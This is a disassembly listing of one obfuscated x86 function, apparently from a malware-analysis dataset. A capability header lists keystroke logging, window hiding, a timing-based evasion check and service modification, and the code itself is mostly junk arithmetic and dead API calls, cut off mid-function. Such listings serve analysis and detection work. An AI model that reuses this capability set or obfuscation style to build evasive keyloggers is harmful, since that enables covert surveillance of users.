Function at 0x46a555
Capabilities:
Accept command line arguments
Check for time delay via queryperformancecounter
Create directory
Create pipe
Create thread
Delete file
Get common file path
Get file size
Get geographical location
Get system information on windows
Hide graphical window
Log keystrokes via polling
Modify service
Query or enumerate registry key
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3500
call fcn.00496ae0
push esi
push edi
cmp dword [ebp + 8], 2
jl 0x476e5c
mov dword [ebp - 0xa4], 0xfffffff9
mov dword [ebp - 0x91c], 0xf6b
mov dword [ebp - 0x2c8], 0xf8cd3bed
mov dword [ebp - 0x914], 0
mov dword [ebp - 0xb1c], 0xb370cc32
mov dword [ebp - 0x180], 0
jmp 0x46a5b9
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x46a5d5
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x25cc], 0xfffffffb
jmp 0x46a5ac
mov dword [ebp - 0x180], 0
jmp 0x46a5ee
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 3
jge 0x46a60a
mov eax, dword [ebp - 0x180]
mov dword [ebp + eax*4 - 0x31b0], 0x395830af
jmp 0x46a5e1
cmp dword [ebp - 0xa4], 0
jne 0x46a701
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x2fd8], eax
mov eax, 0xbdac842f
test eax, eax
jne 0x46a63e
cmp dword [ebp - 0xa4], 0
jne 0x46a63e
and dword [ebp - 0xe88], 0
jmp 0x46a648
mov dword [ebp - 0xe88], 1
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xe88], eax
jge 0x46a662
mov dword [ebp - 0x96c], 1
jmp 0x46a669
and dword [ebp - 0x96c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x96c]
mov dword [ebp + eax - 0x25cc], ecx
cmp dword [ebp - 0x96c], 0
jne 0x46a6a7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x25cc], 0
jne 0x46a6a7
cmp dword [ebp - 0xa4], 0
jne 0x46a6a7
and dword [ebp - 0x1dd8], 0
jmp 0x46a6b1
mov dword [ebp - 0x1dd8], 1
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0x1dd8]
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 4
jbe 0x46a6d9
mov dword [ebp - 0x1de0], 1
jmp 0x46a6e0
and dword [ebp - 0x1de0], 0
mov eax, dword [ebp - 0x1de0]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0
jne 0x46a701
mov dword [ebp - 0x1f94], 1
jmp 0x46a708
and dword [ebp - 0x1f94], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x29b8], eax
mov eax, 0xd764ce34
test eax, eax
jne 0x46a72b
or eax, 0xffffffff
jne 0x46a72b
and dword [ebp - 0x1de8], 0
jmp 0x46a735
mov dword [ebp - 0x1de8], 1
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x1de8], eax
jge 0x46a74f
mov dword [ebp - 0x2294], 1
jmp 0x46a756
and dword [ebp - 0x2294], 0
mov eax, dword [ebp - 0xa4]
mov dword [ebp - 0x29c0], eax
mov eax, 0xacd4a797
test eax, eax
jne 0x46a777
mov dword [ebp - 0x1df0], 1
jmp 0x46a77e
and dword [ebp - 0x1df0], 0
mov eax, dword [ebp - 0x914]
cmp dword [ebp - 0x1df0], eax
je 0x46a7a5
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x25cc], 0
jne 0x46a7a5
and dword [ebp - 0x1df8], 0
jmp 0x46a7af
mov dword [ebp - 0x1df8], 1
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x1df8]
jg 0x46a7c9
mov dword [ebp - 0x1e0c], 1
jmp 0x46a7d0
and dword [ebp - 0x1e0c], 0
mov eax, dword [ebp - 0x1e0c]
sub eax, 0x65f5
jne 0x46a7e9
mov dword [ebp - 0x1e2c], 1
jmp 0x46a7f0
and dword [ebp - 0x1e2c], 0
mov eax, dword [ebp - 0xa4]
cmp eax, dword [ebp - 0x1e2c]
jle 0x46a80a
mov dword [ebp - 0x1e34], 1
jmp 0x46a811
and dword [ebp - 0x1e34], 0
mov eax, dword [ebp - 0x1e34]
mov dword [ebp - 0xb1c], eax
mov dword [ebp - 0x2c8], 0
jmp 0x46a836
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xd
jle 0x46aa5d
mov dword [ebp - 0x534], 1
mov dword [ebp - 0x1e6c], 1
mov byte [ebp - 0x329], 0
movzx eax, byte [ebp - 0x329]
test eax, eax
je 0x46a871
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0xb1c], eax
cmp dword [ebp - 0xb1c], 0
je 0x46a8c7
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0xa4], eax
je 0x46a8a0
mov dword [ebp - 0x1e3c], 1
jmp 0x46a8a7
and dword [ebp - 0x1e3c], 0
mov eax, dword [ebp - 0x2c8]
add eax, dword [ebp - 0x1e3c]
cmp dword [ebp - 0x914], eax
jle 0x46a8c7
mov dword [ebp - 0x1e44], 1
jmp 0x46a8ce
and dword [ebp - 0x1e44], 0
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0x1e44], eax
je 0x46a8e8
mov dword [ebp - 0x1e4c], 1
jmp 0x46a8ef
and dword [ebp - 0x1e4c], 0
mov eax, dword [ebp - 0x91c]
cmp dword [ebp - 0x1e4c], eax
jle 0x46a909
mov dword [ebp - 0x1e54], 1
jmp 0x46a910
and dword [ebp - 0x1e54], 0
cmp dword [ebp - 0x1e54], 0xfffffff6
jl 0x46a925
mov dword [ebp - 0x1e5c], 1
jmp 0x46a92c
and dword [ebp - 0x1e5c], 0
mov eax, dword [ebp - 0x1e5c]
add eax, 0x172aaffd
cmp eax, dword [ebp - 0x534]
jl 0x46a94b
mov dword [ebp - 0x1e64], 1
jmp 0x46a952
and dword [ebp - 0x1e64], 0
mov eax, dword [ebp - 0x1e64]
mov dword [ebp - 0x1e6c], eax
mov eax, dword [ebp - 0x534]
cmp dword [ebp - 0x1e6c], eax
jg 0x46a978
mov dword [ebp - 0x1e84], 1
jmp 0x46a97f
and dword [ebp - 0x1e84], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x1e84], eax
jle 0x46a999
mov dword [ebp - 0x1e8c], 1
jmp 0x46a9a0
and dword [ebp - 0x1e8c], 0
mov eax, dword [ebp - 0x914]
cmp eax, dword [ebp - 0x1e8c]
jl 0x46a9ba
mov dword [ebp - 0x1e94], 1
jmp 0x46a9c1
and dword [ebp - 0x1e94], 0
mov eax, dword [ebp - 0x1e94]
neg eax
mov dword [ebp - 0x1b08], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x1b08]
mov dword [ebp + eax - 0x25cc], ecx
mov eax, dword [ebp - 0x91c]
cmp dword [ebp - 0x1b08], eax
jle 0x46a9fb
mov dword [ebp - 0xbc4], 1
jmp 0x46aa02
and dword [ebp - 0xbc4], 0
cmp dword [ebp - 0xbc4], 0xddf34ffd
jne 0x46aa1a
mov dword [ebp - 0x1b10], 1
jmp 0x46aa21
and dword [ebp - 0x1b10], 0
mov eax, dword [ebp - 0x1b10]
shl eax, 2
cmp eax, dword [ebp - 0x534]
jge 0x46aa3e
mov dword [ebp - 0xbcc], 1
jmp 0x46aa45
and dword [ebp - 0xbcc], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xbcc]
mov dword [ebp + eax - 0x31b0], ecx
jmp 0x46a829
mov dword [ebp - 0x10], 0x3fcb50bf
mov dword [ebp - 0x229c], 0
mov dword [ebp - 0x934], 0xfffffffc
mov dword [ebp - 0x2818], 0x2c9ea21f
mov dword [ebp - 0x2814], 0x2c9ea21f
mov dword [ebp - 0x2810], 0x2c9ea21f
mov dword [ebp - 0x280c], 0x2c9ea21f
mov dword [ebp - 0x144], 0
jmp 0x46aab9
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x46aad5
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x588], 0xa8eac8b1
jmp 0x46aaac
mov dword [ebp - 0x144], 0
jmp 0x46aaee
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 2
jge 0x46ab0a
mov eax, dword [ebp - 0x144]
mov dword [ebp + eax*4 - 0x2694], 0x5996fd0f
jmp 0x46aae1
mov byte [ebp - 0x293], 0
movzx eax, byte [ebp - 0x293]
test eax, eax
je 0x46ab26
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov dword [ebp - 0x10], 0
jmp 0x46ab36
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jg 0x46b139
mov dword [ebp - 0x108], 0x8876942a
mov dword [ebp - 0x1b38], 0x19043831
mov dword [ebp - 0x22bc], 0x31a3a4aa
mov dword [ebp - 0xb2c], 0x2350c165
mov dword [ebp - 0x924], 0
jmp 0x46ab81
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 3
jge 0x46ab9d
mov eax, dword [ebp - 0x924]
mov dword [ebp + eax*4 - 0x23f8], 0
jmp 0x46ab74
mov dword [ebp - 0x108], 2
jmp 0x46abb6
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x46afc3
mov dword [ebp - 0x22b4], 3
mov dword [ebp - 0x1b60], 0x15c87e17
mov dword [ebp - 0x92c], 0
jmp 0x46abf0
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 1
jge 0x46ac0c
mov eax, dword [ebp - 0x92c]
mov dword [ebp + eax*4 - 0x22a4], 0xc97de2e5
jmp 0x46abe3
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x29c8], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x588], 0
jne 0x46ac37
cmp dword [ebp - 0x108], 0
jne 0x46ac37
and dword [ebp - 0xb24], 0
jmp 0x46ac41
mov dword [ebp - 0xb24], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xb24]
mov dword [ebp + eax - 0x2694], ecx
mov eax, dword [ebp - 0xb24]
sub eax, 0x1786f696
mov ecx, dword [ebp - 0x10]
cmp eax, dword [ebp + ecx*4 - 0x588]
jne 0x46ac77
mov dword [ebp - 0x1b18], 1
jmp 0x46ac7e
and dword [ebp - 0x1b18], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
imul eax, dword [ebp - 0x1b18]
test eax, eax
jne 0x46aca2
cmp dword [ebp - 0x10], 0
jne 0x46aca2
and dword [ebp - 0xbd4], 0
jmp 0x46acac
mov dword [ebp - 0xbd4], 1
mov eax, dword [ebp - 0xbd4]
add eax, 0x51b4373c
jne 0x46acda
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x588], 0
jne 0x46acda
mov eax, 0xf5e1
test eax, eax
jne 0x46acda
and dword [ebp - 0x1b20], 0
jmp 0x46ace4
mov dword [ebp - 0x1b20], 1
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
cmp dword [ebp - 0x1b20], eax
jne 0x46ad02
mov dword [ebp - 0xbdc], 1
jmp 0x46ad09
and dword [ebp - 0xbdc], 0
mov eax, dword [ebp - 0xbdc]
mov dword [ebp - 0x229c], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x23f8], 0x56979f9f
mov eax, 0xe0cd1ad7
add eax, 0x56979f9f
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0x934]
mov dword [ebp - 0x1b28], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1b28]
mov dword [ebp + eax - 0x22a4], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x588]
cmp dword [ebp - 0x1b28], eax
jg 0x46ad76
mov dword [ebp - 0xbe4], 1
jmp 0x46ad7d
and dword [ebp - 0xbe4], 0
mov eax, dword [ebp - 0xbe4]
sub eax, dword [ebp - 0x108]
jne 0x46ada4
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x23f8], 0
jne 0x46ada4
and dword [ebp - 0x1b30], 0
jmp 0x46adae
mov dword [ebp - 0x1b30], 1
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1b30], eax
jge 0x46adc5
mov dword [ebp - 0xbec], 1
jmp 0x46adcc
and dword [ebp - 0xbec], 0
mov eax, dword [ebp - 0xbec]
mov dword [ebp - 0x1b38], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
cmp eax, dword [ebp - 0x1b38]
jge 0x46adf6
mov dword [ebp - 0xbf4], 1
jmp 0x46adfd
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0xbf4]
inc eax
cmp eax, dword [ebp - 0x108]
je 0x46ae18
mov dword [ebp - 0x22ac], 1
jmp 0x46ae1f
and dword [ebp - 0x22ac], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x29d0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x22b4]
cmp dword [ebp + eax - 0x588], ecx
je 0x46ae49
mov dword [ebp - 0x1b40], 1
jmp 0x46ae50
and dword [ebp - 0x1b40], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x1b40]
jle 0x46ae67
mov dword [ebp - 0xbfc], 1
jmp 0x46ae6e
and dword [ebp - 0xbfc], 0
mov eax, dword [ebp - 0x1b60]
cmp dword [ebp - 0xbfc], eax
jl 0x46ae88
mov dword [ebp - 0x1b48], 1
jmp 0x46ae8f
and dword [ebp - 0x1b48], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x588]
cmp dword [ebp - 0x1b48], eax
jne 0x46aeb0
mov dword [ebp - 0xc04], 1
jmp 0x46aeb7
and dword [ebp - 0xc04], 0
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0xc04], eax
jne 0x46aed1
mov dword [ebp - 0x1b50], 1
jmp 0x46aed8
and dword [ebp - 0x1b50], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
cmp eax, dword [ebp - 0x1b50]
jle 0x46aef6
mov dword [ebp - 0xc0c], 1
jmp 0x46aefd
and dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0xc0c]
mov dword [ebp - 0x22bc], eax
mov dword [ebp - 0xb2c], 0x5184bf4d
cmp dword [ebp - 0xb2c], 0
jge 0x46af28
mov dword [ebp - 0x1b58], 1
jmp 0x46af2f
and dword [ebp - 0x1b58], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1b58], eax
jne 0x46af46
mov dword [ebp - 0xc14], 1
jmp 0x46af4d
and dword [ebp - 0xc14], 0
cmp dword [ebp - 0xc14], 0xeb13e27c
jbe 0x46af65
mov dword [ebp - 0x22c4], 1
jmp 0x46af6c
and dword [ebp - 0x22c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x588]
mov dword [ebp - 0x29d8], eax
mov eax, 0x4ffa
imul eax, eax, 0xffff
cmp eax, dword [ebp - 0x108]
je 0x46af9e
mov dword [ebp - 0xc1c], 1
jmp 0x46afa5
and dword [ebp - 0xc1c], 0
mov eax, dword [ebp - 0x1b60]
add eax, dword [ebp - 0xc1c]
push 4
pop ecx
imul ecx, ecx, 3
mov dword [ebp + ecx - 0x2818], eax
jmp 0x46aba9
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
mov dword [ebp - 0x29e0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23f8]
mov dword [ebp - 0x29e8], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23f8]
mov dword [ebp - 0x29f0], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x29f8], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x2694]
cmp dword [ebp + eax - 0x588], ecx
jne 0x46b02d
mov dword [ebp - 0x1b68], 1
jmp 0x46b034
and dword [ebp - 0x1b68], 0
mov eax, dword [ebp - 0x1b68]
add eax, 0xb8f5
cmp eax, 0x2e27
jge 0x46b058
mov eax, 0xc99cc0f7
test eax, eax
jne 0x46b058
and dword [ebp - 0xc24], 0
jmp 0x46b062
mov dword [ebp - 0xc24], 1
cmp dword [ebp - 0xc24], 0xc55279c8
ja 0x46b07a
mov dword [ebp - 0x1b70], 1
jmp 0x46b081
and dword [ebp - 0x1b70], 0
cmp dword [ebp - 0x1b70], 0
jg 0x46b096
mov dword [ebp - 0xc2c], 1
jmp 0x46b09d
and dword [ebp - 0xc2c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x23f8]
cmp dword [ebp - 0xc2c], eax
jle 0x46b0be
mov dword [ebp - 0x1b78], 1
jmp 0x46b0c5
and dword [ebp - 0x1b78], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x1b78], eax
jge 0x46b0dc
mov dword [ebp - 0xc34], 1
jmp 0x46b0e3
and dword [ebp - 0xc34], 0
mov eax, dword [ebp - 0xc34]
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0xb2c]
cmp dword [ebp - 0x934], eax
jl 0x46b109
mov dword [ebp - 0x22cc], 1
jmp 0x46b110
and dword [ebp - 0x22cc], 0
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
mov dword [ebp - 0x2a00], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x588]
mov dword [ebp + ecx*4 - 0x588], eax
jmp 0x46ab2f
mov dword [ebp - 0xc0], 0xfffffff9
mov dword [ebp - 0x2e0], 0xfffffff6
mov dword [ebp - 0x2d8], 0x5a95
mov dword [ebp - 0x958], 0x8ee41b66
mov dword [ebp - 0x22e4], 0xf9f36173
mov dword [ebp - 0x2a08], 0xaec51ac0
mov dword [ebp - 0x948], 0
jmp 0x46b18e
mov eax, dword [ebp - 0x948]
inc eax
mov dword [ebp - 0x948], eax
cmp dword [ebp - 0x948], 4
jge 0x46b1aa
mov eax, dword [ebp - 0x948]
mov dword [ebp + eax*4 - 0x30cc], 0xfffffffc
jmp 0x46b181
mov dword [ebp - 0x2e0], 2
jmp 0x46b1c3
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0xc
jne 0x46b359
mov dword [ebp - 0x22d4], 1
mov dword [ebp - 0x2d0], 8
cmp dword [ebp - 0x22d4], 0x8ea38884
jbe 0x46b1fc
mov dword [ebp - 0x22dc], 1
jmp 0x46b203
and dword [ebp - 0x22dc], 0
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x958]
mov dword [ebp - 0x2a10], eax
mov eax, dword [ebp - 0x22e4]
mov dword [ebp - 0x2a18], eax
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0
jae 0x46b33f
mov dword [ebp - 0x22ec], 8
mov dword [ebp - 0x1b80], 1
mov byte [ebp - 0x295], 0
movzx eax, byte [ebp - 0x295]
test eax, eax
je 0x46b26e
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov dword [ebp - 0x2d0], 0
jmp 0x46b287
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 3
jg 0x46b33d
mov dword [ebp - 0x950], 0
jmp 0x46b2ad
mov eax, dword [ebp - 0x950]
inc eax
mov dword [ebp - 0x950], eax
cmp dword [ebp - 0x950], 3
jge 0x46b2c9
mov eax, dword [ebp - 0x950]
mov dword [ebp + eax*4 - 0x327c], 0xfffffff7
jmp 0x46b2a0
mov dword [ebp - 0x2d8], 0
jmp 0x46b2e2
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 3
jg 0x46b338
mov dword [ebp - 0x1b80], 0xffffffff
mov eax, dword [ebp - 0x22ec]
add eax, dword [ebp - 0x1b80]
mov ecx, dword [ebp - 0x2d0]
cmp dword [ebp + ecx*4 - 0x30cc], eax
jg 0x46b31c
mov dword [ebp - 0xc3c], 1
jmp 0x46b323
and dword [ebp - 0xc3c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp + eax - 0x327c], ecx
jmp 0x46b2d5
jmp 0x46b27a
jmp 0x46b354
mov dword [ebp - 0x22f4], 0xa6c65b0b
cmp dword [ebp - 0x22f4], 0
je 0x46b354
jmp 0x46b359
jmp 0x46b1b6
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x30cc]
mov dword [ebp - 0x2a20], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x30cc]
imul eax, dword [ebp - 0x958]
cmp eax, 0xfffffff7
ja 0x46b391
mov dword [ebp - 0x1b88], 1
jmp 0x46b398
and dword [ebp - 0x1b88], 0
mov eax, dword [ebp - 0x1b88]
mov dword [ebp - 0x958], eax
mov eax, dword [ebp - 0x2e0]
add eax, dword [ebp - 0x2d8]
cmp eax, dword [ebp - 0x2e0]
jle 0x46b3c4
mov dword [ebp - 0xc44], 1
jmp 0x46b3cb
and dword [ebp - 0xc44], 0
mov eax, dword [ebp - 0xc44]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0xc], 0xdbc37078
mov dword [ebp - 0x464], 1
mov dword [ebp - 0x224], 0xdb39523d
mov dword [ebp - 0x960], 0
jmp 0x46b40b
mov eax, dword [ebp - 0x960]
inc eax
mov dword [ebp - 0x960], eax
cmp dword [ebp - 0x960], 2
jge 0x46b427
mov eax, dword [ebp - 0x960]
mov dword [ebp + eax*4 - 0x2b14], 0x43232af7
jmp 0x46b3fe
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2a28], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2a30], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2a38], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2a40], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0xc]
jne 0x46b457
cmp dword [ebp - 0xc], 0
mov eax, 0x694d
sub eax, 0x5f79
cmp eax, 0x21342f3d
jl 0x46b478
push 9
pop eax
test eax, eax
jne 0x46b478
and dword [ebp - 0x1b90], 0
jmp 0x46b482
mov dword [ebp - 0x1b90], 1
cmp dword [ebp - 0x1b90], 0x8b16
je 0x46b49a
mov dword [ebp - 0xc4c], 1
jmp 0x46b4a1
and dword [ebp - 0xc4c], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc4c], eax
jg 0x46b4b8
mov dword [ebp - 0x1b98], 1
jmp 0x46b4bf
and dword [ebp - 0x1b98], 0
mov eax, dword [ebp - 0x1b98]
mov dword [ebp - 0x464], eax
mov eax, dword [ebp - 0x464]
neg eax
cmp eax, dword [ebp - 0xc]
jle 0x46b4e4
mov dword [ebp - 0xc54], 1
jmp 0x46b4eb
and dword [ebp - 0xc54], 0
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0xc54]
imul eax, eax, 0xfffe
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x224], eax
jle 0x46b517
mov dword [ebp - 0x1ba0], 1
jmp 0x46b51e
and dword [ebp - 0x1ba0], 0
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0x1ba0]
test eax, eax
jne 0x46b53e
cmp dword [ebp - 0x464], 0
jne 0x46b53e
and dword [ebp - 0xc5c], 0
jmp 0x46b548
mov dword [ebp - 0xc5c], 1
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 0xc5c]
test eax, eax
je 0x46b5d2
mov dword [ebp - 0x22fc], 0xffffffff
mov dword [ebp - 0x95c], 0
jmp 0x46b579
mov eax, dword [ebp - 0x95c]
inc eax
mov dword [ebp - 0x95c], eax
cmp dword [ebp - 0x95c], 3
jge 0x46b595
mov eax, dword [ebp - 0x95c]
mov dword [ebp + eax*4 - 0x2e54], 7
jmp 0x46b56c
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x22fc]
mov dword [ebp + eax - 0x2e54], ecx
mov dword [ebp - 0xc], 0
jmp 0x46b5b7
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 3
jge 0x46b5cd
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x2e54], 1
jmp 0x46b5b0
jmp 0x46bb98
mov dword [ebp - 0x2e8], 0xffffffff
mov dword [ebp - 0x68], 0
jmp 0x46b5ec
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x46b602
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x480], 1
jmp 0x46b5e5
mov dword [ebp - 0x68], 0
jmp 0x46b612
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x46b628
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0xb5c], 0xffffffff
jmp 0x46b60b
mov dword [ebp - 0x68], 0
jmp 0x46b638
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x46b64e
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x3174], 0xb67a0786
jmp 0x46b631
mov dword [ebp - 0x224], 0x10
jmp 0x46b667
mov eax, dword [ebp - 0x224]
dec eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffe8
je 0x46ba50
mov dword [ebp - 0x708], 8
mov dword [ebp - 0xb3c], 0x651603
mov dword [ebp - 0x1bd8], 1
mov dword [ebp - 0xc], 0x1a
jmp 0x46b6a2
mov eax, dword [ebp - 0xc]
dec eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffe7
jne 0x46ba4b
mov dword [ebp - 0xb34], 1
mov dword [ebp - 0xb4c], 0xfffe
mov eax, 0x59a7
test eax, eax
je 0x46b895
mov eax, dword [ebp - 0xb34]
add eax, 0x9db3
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x480]
cmp eax, 1
jg 0x46b6f6
mov dword [ebp - 0x1ba8], 1
jmp 0x46b6fd
and dword [ebp - 0x1ba8], 0
mov eax, dword [ebp - 0xb34]
cmp dword [ebp - 0x1ba8], eax
jge 0x46b71d
cmp dword [ebp - 0xb34], 0
jne 0x46b71d
and dword [ebp - 0xc64], 0
jmp 0x46b727
mov dword [ebp - 0xc64], 1
mov eax, dword [ebp - 0x708]
cmp dword [ebp - 0xc64], eax
jl 0x46b741
mov dword [ebp - 0x1bb0], 1
jmp 0x46b748
and dword [ebp - 0x1bb0], 0
mov dword [ebp - 0x464], 0x7fad
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x1bb0]
jle 0x46b76c
mov dword [ebp - 0xc6c], 1
jmp 0x46b773
and dword [ebp - 0xc6c], 0
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0xc6c], eax
jne 0x46b78a
mov dword [ebp - 0x1bb8], 1
jmp 0x46b791
and dword [ebp - 0x1bb8], 0
cmp dword [ebp - 0x1bb8], 0xe26a8acd
jne 0x46b7a9
mov dword [ebp - 0xc74], 1
jmp 0x46b7b0
and dword [ebp - 0xc74], 0
mov eax, dword [ebp - 0xc74]
mov dword [ebp - 0xb3c], eax
cmp dword [ebp - 0xb3c], 0
je 0x46b7da
cmp dword [ebp - 0xb3c], 0
je 0x46b7da
mov dword [ebp - 0x1bc0], 1
jmp 0x46b7e1
and dword [ebp - 0x1bc0], 0
mov eax, dword [ebp - 0x708]
cmp eax, dword [ebp - 0x1bc0]
jne 0x46b804
mov eax, 0xa07874d2
test eax, eax
je 0x46b804
mov dword [ebp - 0xc7c], 1
jmp 0x46b80b
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0xc7c]
sub eax, dword [ebp - 0x708]
jne 0x46b82b
cmp dword [ebp - 0x224], 0
jne 0x46b82b
and dword [ebp - 0x1bc8], 0
jmp 0x46b835
mov dword [ebp - 0x1bc8], 1
cmp dword [ebp - 0x1bc8], 1
jne 0x46b84a
mov dword [ebp - 0xc84], 1
jmp 0x46b851
and dword [ebp - 0xc84], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2b14]
cmp dword [ebp - 0xc84], eax
jne 0x46b872
mov dword [ebp - 0x2304], 1
jmp 0x46b879
and dword [ebp - 0x2304], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x480], 0
je 0x46b895
mov dword [ebp - 0x1bd0], 1
jmp 0x46b89c
and dword [ebp - 0x1bd0], 0
mov eax, dword [ebp - 0xb4c]
cmp dword [ebp - 0x1bd0], eax
je 0x46b8b6
mov dword [ebp - 0xc8c], 1
jmp 0x46b8bd
